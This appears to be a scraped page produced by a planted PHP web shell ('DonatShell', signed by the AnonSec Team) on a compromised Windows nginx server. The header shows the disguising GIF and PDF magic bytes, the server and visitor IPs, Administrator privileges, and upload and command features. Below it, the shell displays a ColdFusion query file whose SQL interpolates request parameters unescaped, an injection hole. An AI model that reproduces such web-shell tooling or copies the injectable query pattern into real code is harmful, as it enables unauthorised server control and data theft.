GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/qry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/qry/DepartmentInfo.cfqry
<!--- DepartmentInfo.cfqry --->

<cfparam name="DepartmentInfoDebug" default=False>
<cfif DepartmentInfoDebug AND REMOTE_ADDR eq "127.0.0.1">
 <cfoutput>DepartmentInfoDebug is on.<br></cfoutput>
</cfif>

<cfparam name="DepartmentID" default="">
<cfparam name="DepartmentCode" default="">
<cfparam name="DepartmentNumber" default="">

<cfif DepartmentInfoDebug AND REMOTE_ADDR eq "127.0.0.1">
 <cfoutput>
 DepartmentID=#DepartmentID#<br>
 DepartmentCode=#DepartmentCode#<br>
 DepartmentNumber=#DepartmentNumber#<br>
 </cfoutput>
 <cfoutput><pre>
APPLICATION.DATASOURCE_CST = #APPLICATION.DATASOURCE_CST#
  SELECT Department.DepartmentID, 
     Department.DepartmentCode, 
     Department.DepartmentIsActive, 
     Departments_Name.DepartmentName, 
     Departments_Number.DepartmentNumber
   FROM (Department 
     INNER JOIN Departments_Name 
     ON Department.DepartmentID = Departments_Name.DepartmentID) 
     INNER JOIN Departments_Number 
     ON Department.DepartmentID = Departments_Number.DepartmentID
  WHERE 1=1<cfif DepartmentID neq "">
   AND Department.DepartmentID=#DepartmentID#</cfif><cfif DepartmentCode neq "">
   AND Department.DepartmentCode='#DepartmentCode#'</cfif><cfif DepartmentNumber neq "">
   AND Departments_Number.DepartmentNumber="#DepartmentNumber#"</cfif>
 </pre></cfoutput>
</cfif>

<cfquery datasource="#APPLICATION.DATASOURCE_RC#" 
     name="DepartmentInfo">
  SELECT Department.DepartmentID, 
     Department.DepartmentCode, 
     Department.DepartmentName, 
     Department.DepartmentNumber,
     Department.DepartmentIsUnavailable
   FROM Department 
  WHERE 1=1<cfif DepartmentCode neq "">
   AND Department.DepartmentCode='#DepartmentCode#'</cfif><cfif DepartmentNumber neq "">
   AND Department.DepartmentNumber="#DepartmentNumber#"</cfif>
</cfquery>

<cfif DepartmentInfoDebug AND REMOTE_ADDR eq "127.0.0.1">
 <cfoutput>
 DepartmentInfo.RecordCount=#DepartmentInfo.RecordCount#<br>
 DepartmentID=#DepartmentInfo.DepartmentID#<br>
 DepartmentCode=#DepartmentInfo.DepartmentCode#<br>
 DepartmentIsActive=#DepartmentInfo.DepartmentIsActive#<br>
 DepartmentName=#DepartmentInfo.DepartmentName#<br>
 DepartmentNumber=#DepartmentInfo.DepartmentNumber#<br>
 <br>
 </cfoutput>
</cfif>

Anon7 - 2022
AnonSec Team